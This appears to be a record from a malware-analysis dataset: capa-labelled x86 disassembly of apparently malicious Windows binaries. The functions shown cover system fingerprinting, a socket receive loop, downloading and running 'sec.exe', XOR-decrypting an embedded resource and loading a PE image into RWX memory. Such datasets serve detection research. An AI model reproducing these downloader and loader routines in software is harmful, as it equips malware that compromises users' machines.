joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401510
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [str.ProductName]
mov eax, dword [ebp + 0xc]
mov edx, dword [0x40e260]
push edi
push 0x58
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x268], eax
mov eax, dword [0x40e264]
lea ecx, [ebp - 0x250]
push 0
push ecx
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], eax
call fcn.00406a20
mov edx, dword [str.CSDVersion]
mov eax, dword [0x40e26c]
mov cx, word [0x40e270]
push 0x59
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f8], edx
mov dl, byte [0x40e272]
lea eax, [ebp - 0x1ed]
push 0
push eax
mov word [ebp - 0x1f0], cx
mov byte [ebp - 0x1ee], dl
call fcn.00406a20
push 0x190
lea ecx, [ebp - 0x194]
push 0
push ecx
call fcn.00406a20
push 0x64
call fcn.00402b57
add esp, 0x28
cmp byte [ebp + 8], 1
mov edi, eax
jne 0x401697
lea edx, [ebp - 0x260]
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401697
push ebx
push esi
xor ebx, ebx
mov edx, dword [ebp - 0x260]
mov eax, ebx
imul eax, eax, 0x64
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0
lea esi, [ebp + eax - 0x25c]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x264]
push eax
push edi
call fcn.00402f0f
mov ecx, dword [ebp - 0x264]
push ecx
push 0
push edi
call fcn.00406a20
mov eax, dword [ebp - 0x260]
add esp, 0x14
lea edx, [ebp - 0x264]
push edx
push edi
push 0
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40166c
test ebx, ebx
jne 0x40166c
mov ecx, dword [ebp - 0x268]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40167e
mov edx, dword [ebp - 0x268]
push 0x40e274
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc ebx
cmp ebx, 2
jl 0x4015f4
mov eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop edi
call fcn.00402ac4
mov esp, ebp
pop ebp
ret

Function at 0x4016b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.00406a20
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x40171f
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x40171f
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 2
mov eax, dword [ebp - 0x9c]
push ebx
jne 0x40173f
cmp eax, 5
je 0x40173b
cmp eax, 6
jne 0x40173f
mov bl, 1
jmp 0x401745
mov bl, byte [ebp - 0xa1]
mov ecx, dword [ebp - 0x98]
push ecx
push eax
push str._d._d
push edi
call fcn.00402ad3
mov ecx, dword [ebp - 4]
add esp, 0x10
mov al, bl
pop ebx
xor ecx, ebp
pop esi
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x778
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push edi
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0xdc]
push ecx
mov dword [ebp - 0x774], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edi, [ebp - 0x74]
call fcn.004016b0
mov byte [ebp - 0x770], al
mov eax, dword [ebp - 0x770]
mov edx, edi
push edx
push eax
call fcn.00401510
mov ecx, edi
push ecx
lea edx, [ebp - 0xdc]
push edx
lea eax, [ebp - 0x4bc]
push str._s__s
push eax
call fcn.00402ad3
lea eax, [ebp - 0x4bc]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017e6
lea ecx, [ebp - 0x76c]
sub eax, edx
push ecx
inc eax
push 2
mov dword [ebp - 0x4c0], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40183f
push 0xff
lea edx, [ebp - 0x5dc]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x401839
lea eax, [ebp - 0x5dc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401839
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
jmp 0x401841
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
mov eax, 0x45e7b273
imul dword [0x410f64]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
push edx
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4d4], ecx
mov edx, ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.004010a0
mov eax, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x4dc]
push ecx
mov ecx, dword [ebp + 8]
add eax, 0x20
push eax
push 0
push ecx
mov ecx, 0x9e2
mov dword [0x411d10], edx
call fcn.00401280
mov ecx, dword [ebp - 8]
add esp, 0x18
xor ecx, ebp
pop edi
call fcn.00402ac4
mov esp, ebp
pop ebp
ret

Function at 0x4018c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov esi, eax
test eax, eax
je 0x40191a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 8]
push 0
push esi
push edi
push eax
call ebx
test eax, eax
jle 0x4018eb
add edi, eax
sub esi, eax
jmp 0x40190c
cmp eax, 0xffffffff
jne 0x401918
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401918
cmp eax, 0x2744
je 0x401918
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x4018d7
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401920
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea edi, [ebp - 0x18]
mov esi, 0x10
lea ebx, [ebx]
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401955
add edi, eax
sub esi, eax
jmp 0x401982
cmp eax, 0xffffffff
jne 0x401a4c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401a4c
cmp eax, 0x2744
je 0x401a4c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401940
cmp dword [ebp - 0x18], 0x1055
je 0x401a1e
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x412118]
mov dword [esi*4 + 0x411d18], eax
test eax, eax
je 0x401a4c
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0xc], edx
cmp dword [ebp - 0xc], 0
jbe 0x401a12
mov esi, dword [esi*4 + 0x411d18]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.004018c0
add esp, 8
test eax, eax
je 0x401a33
mov esi, dword [0x412118]
mov ecx, dword [esi*4 + 0x411d18]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401000
inc esi
mov dword [0x412118], esi
jmp 0x401932
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x412118]
mov edx, dword [ecx*4 + 0x411d18]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
Function at 0x401b80
Capabilities:
Download url
Get common file path
Receive data
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp esi, ebx
je 0x401cb3
cmp edi, ebx
jne 0x401bad
mov edi, str.sec.exe
lea eax, [ebp - 0x808]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401cb3
push ebx
push ebx
lea edx, [ebp - 0x80c]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x401cb3
push 0x400
lea eax, [ebp - 0x407]
push ebx
push eax
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x408], bl
call fcn.00406a20
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
lea ebx, [ebx]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
lea edx, [ebp - 0x810]
push edx
push 0x400
lea edx, [ebp - 0x408]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
push 0
lea ecx, [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
push edi
mov esi, eax
call ebx
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00406a20
add esp, 0xc
test esi, esi
js 0x401c9a
cmp esi, 1
jne 0x401c40
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x401cb5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ac4
mov esp, ebp
pop ebp
ret

Function at 0x401cd0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x160]
push esi
push ecx
call fcn.00406a20
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x134], 0x101
mov word [ebp - 0x130], dx
mov edi, edi
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
jne 0x401d79
inc esi
cmp esi, 8
jl 0x401d50
cmp esi, 8
jne 0x401d90
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
Function at 0x4025b0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41003c]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40264d
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.WS2_32.dll_recv]
lea ecx, [ecx]
call fcn.00401440
mov ebx, eax
test ebx, ebx
jne 0x402604
push 0x2bf20
call esi
jmp 0x4025f0
push ebx
call fcn.00401770
add esp, 4
call fcn.00401920
test eax, eax
jne 0x40261f
push 0x2bf20
call esi
jmp 0x4025f0
push ebx
call fcn.00402520
add esp, 4
push 0
push 0xa
lea ecx, [esp + 0x1a8]
push ecx
push ebx
call edi
test eax, eax
jne 0x402642
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x410f64]
push edx
call esi
jmp 0x4025f0
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402ac4
mov esp, ebp
pop ebp
ret
Function at 0x402a30
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call fcn.00401a60
mov ebx, dword [ebp - 4]
add esp, 4
mov edi, eax
call fcn.00402670
mov eax, dword [edi + ebx*4 - 4]
pop edi
mov ecx, str._run
pop ebx
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402a80
test dl, dl
je 0x402a7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402a80
add eax, 2
add ecx, 2
test dl, dl
jne 0x402a60
xor eax, eax
jmp 0x402a85
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402a8e
call fcn.004026e0
push str.MUTEX394039_4930023
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x402abc
push str.MUTEX394039_4930023
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call fcn.004025b0
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402ac4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41003c]
jne 0x402ace
repz ret
jmp fcn.0040352b
Function at 0x408f8f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004057ce
and dword [ebp - 0x14], 0
cmp dword [0x411ca8], 0
mov dword [ebp - 0x18], eax
jne 0x409042
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4090ea
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4090ea
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411cac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411cb0], eax
call edi
push eax
call esi
mov dword [0x411cb8], eax
test eax, eax
je 0x409042
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cb4], eax
mov eax, dword [0x411cb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40909b
cmp dword [0x411cb8], ecx
je 0x40909b
push eax
call esi
push dword [0x411cb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40909b
test ebx, ebx
je 0x40909b
call edi
test eax, eax
je 0x409092
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409092
test byte [ebp - 8], 1
jne 0x40909b
or dword [ebp + 0x10], 0x200000
jmp 0x4090ce
mov eax, dword [0x411cac]
cmp eax, dword [ebp - 0x18]
je 0x4090ce
push eax
call esi
test eax, eax
je 0x4090ce
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4090ce
mov eax, dword [0x411cb0]
cmp eax, dword [ebp - 0x18]
je 0x4090ce
push eax
call esi
test eax, eax
je 0x4090ce
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca8]
call esi
test eax, eax
je 0x4090ea
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4090ec
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ac4
leave
ret
Function at 0x401206
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40e030]
jne 0x401210
repz ret
jmp fcn.004017bb

Function at 0x403ba3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402a7b
and dword [ebp - 4], 0
cmp dword [0x40f5b8], 0
mov ebx, eax
jne 0x403c54
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x403d05
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x403d05
push eax
call fcn.00402a09
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40f5b8], eax
call esi
push eax
call fcn.00402a09
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40f5bc], eax
call esi
push eax
call fcn.00402a09
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40f5c0], eax
call esi
push eax
call fcn.00402a09
pop ecx
mov dword [0x40f5c8], eax
test eax, eax
je 0x403c54
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402a09
pop ecx
mov dword [0x40f5c4], eax
mov eax, dword [0x40f5c4]
cmp eax, ebx
je 0x403cac
cmp dword [0x40f5c8], ebx
je 0x403cac
push eax
call fcn.00402a84
push dword [0x40f5c8]
mov esi, eax
call fcn.00402a84
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x403cac
test edi, edi
je 0x403cac
call esi
test eax, eax
je 0x403ca3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403ca3
test byte [ebp - 0xc], 1
jne 0x403cac
or dword [ebp + 0x10], 0x200000
jmp 0x403ce5
mov eax, dword [0x40f5bc]
cmp eax, ebx
je 0x403ce5
push eax
call fcn.00402a84
pop ecx
test eax, eax
je 0x403ce5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x403ce5
mov eax, dword [0x40f5c0]
cmp eax, ebx
je 0x403ce5
push eax
call fcn.00402a84
pop ecx
test eax, eax
je 0x403ce5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40f5b8]
call fcn.00402a84
pop ecx
test eax, eax
je 0x403d05
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x403d07
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408760
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
sub esp, 0x28
push esi
mov esi, dword [esp + 0x30]
test esi, esi
je 0x408894
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x408894
mov eax, dword [esi + 0x3c]
push ebx
lea ebx, [eax + esi]
add eax, 0xf8
mov dword [0x40ec8c], eax
cmp dword [ebx], 0x4550
jne 0x408887
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x40ec88], eax
test eax, eax
je 0x40887f
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
push edi
push 0x40
push esi
push eax
call ebp
mov edx, dword [esi + 0x3c]
add edx, dword [0x40ec88]
push 0xf8
push ebx
push edx
call ebp
movzx eax, word [ebx + 6]
mov ecx, dword [0x40ec8c]
mov edx, dword [esi + 0x3c]
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
mov eax, dword [0x40ec88]
add ecx, esi
push ecx
lea ecx, [edx + eax + 0xf8]
push ecx
call ebp
mov eax, dword [esi + 0x3c]
cmp eax, 0x40
jbe 0x40881f
add eax, 0xffffffc0
push eax
mov eax, dword [0x40ec88]
lea edx, [esi + 0x40]
push edx
add eax, 0x40
push eax
call ebp
xor ecx, ecx
xor edi, edi
cmp cx, word [ebx + 6]
jae 0x408861
lea esp, [esp]
mov eax, dword [0x40ec8c]
lea edx, [eax + esi]
add eax, 0x28
mov dword [0x40ec8c], eax
mov eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [0x40ec88]
push ecx
add edx, esi
push edx
push eax
call ebp
movzx ecx, word [ebx + 6]
inc edi
cmp edi, ecx
jl 0x408830
mov edx, dword [0x40ec88]
push edx
call section..text
mov eax, dword [ebx + 0x28]
add esp, 4
pop edi
mov dword [0x40ec8c], eax
mov eax, dword [0x40ec88]
pop ebp
pop ebx
pop esi
add esp, 0x28
ret 4
mov eax, dword [0x40ec88]
pop ebx
pop esi
add esp, 0x28
ret 4
mov eax, dword [0x40ec88]
pop esi
add esp, 0x28
ret 4
Function at 0x4095e0
Capabilities:
Allocate or change rwx memory
Encode data using add xor sub operations
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x38
mov eax, dword [0x40e030]
xor eax, esp
mov dword [esp + 0x34], eax
push ebx
push ebp
push esi
push edi
push 0x31
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.00401590
add esp, 0xc
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0xa
push 0x821b
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0
push 0
push 0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push str.LoadResource
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0
push 0
push 0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push edi
push esi
call ebp
push 0
push 0
push 0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x40b260
push 0x40b250
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
push ebp
call ebx
push 0
push 0
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x40
push 0x3000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
push ebx
push edi
call fcn.00401220
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_LocalSize]
push str.HEWRTWEWETHGSER
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor ecx, ecx
test esi, esi
jbe 0x40971f
lea ebx, [ebx]
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea edx, [edx + edx*4]
add edx, edx
mov eax, ecx
sub eax, edx
mov dl, byte [esp + eax + 0x10]
xor byte [ecx + edi], dl
inc ecx
cmp ecx, esi
jb 0x409700
push edi
call fcn.00408760
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401206
add esp, 0x38
ret
Function at 0x409740
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [0x40e008]
xor eax, eax
cmp dword [0x40e028], eax
push ebx
sete al
push ebp
push esi
push edi
mov edi, dword [0x40e004]
or ecx, 1
or edi, eax
lea edx, [edi + 0x124]
mov dword [0x40e004], edi
test edx, edx
jne 0x409779
test ecx, ecx
jne 0x409779
xor dl, dl
jmp 0x40977b
mov dl, 1
mov esi, dword [0x40e024]
sub word [0x40e014], si
mov bp, word [0x40e01c]
xor eax, eax
test bp, bp
setne al
xor dword [0x40e018], eax
xor eax, eax
cmp esi, 0x64
sete al
or eax, 0x21
jne 0x4097af
test bp, bp
je 0x4097b4
mov eax, 1
movsx esi, word [0x40e014]
xor ecx, eax
mov dword [0x40e008], ecx
test esi, esi
jne 0x4097d3
cmp dword [0x40e020], esi
jne 0x4097d3
xor eax, eax
jmp 0x4097d8
mov eax, 1
add dword [0x40e018], eax
xor dl, cl
movsx eax, dl
mov byte [section..data_1], dl
mov edx, esi
imul edx, edx, 0xf2
mov dword [esp + 0x10], eax
sar eax, 1
add dword [0x40e020], eax
mov eax, 0xf5e9e7fd
mul edx
mov ebx, edx
shr ebx, 9
mov dword [0x40e024], 0
test edi, edi
jne 0x409825
test bl, bl
jne 0x409825
xor eax, eax
mov word [0x40e02c], ax
jmp 0x409831
mov edx, 1
mov word [0x40e02c], dx
movsx edi, byte [0x40e001]
cmp edi, 0xf2
je 0x40991e
test bp, bp
je 0x40991e
imul ecx, ecx, 0xfc
mov eax, 0x33c42535
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
xor edx, edx
mov ecx, esi
sar edx, cl
mov ebp, esi
mov esi, dword [0x40e024]
sar ebp, 0x1f
xor ebp, edx
mov edx, dword [0x40e028]
and edx, ebp
mov ebp, esi
movsx ecx, bl
shr ebp, 5
and edi, 1
xor ebp, ecx
sub edx, edi
mov word [0x40e01c], bp
mov dword [0x40e028], edx
test esi, esi
jne 0x4098b5
mov ecx, dword [esp + 0x10]
or ecx, 0xf4
mov dword [0x40e020], 1
jne 0x4098bf
mov dword [0x40e020], 0
mov edi, 0xc4
xor ecx, ecx
cmp word [0x40e014], cx
setne cl
xor byte [0x40e001], cl
sub edi, 1
jne 0x4098c4
add esi, 0xffffff22
and esi, eax
or esi, 0xf4
je 0x4098f9
mov dword [0x40e00c], 1
test edx, edx
jne 0x409903
mov dword [0x40e00c], 0
xor edx, edx
cmp byte [0x40e001], 5
mov eax, 0xfc
sete dl
xor dx, ax
mov word [0x40e02c], dx
movzx ecx, word [0x40e020]
movsx edx, bp
push ecx
push edx
call fcn.004088a0
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret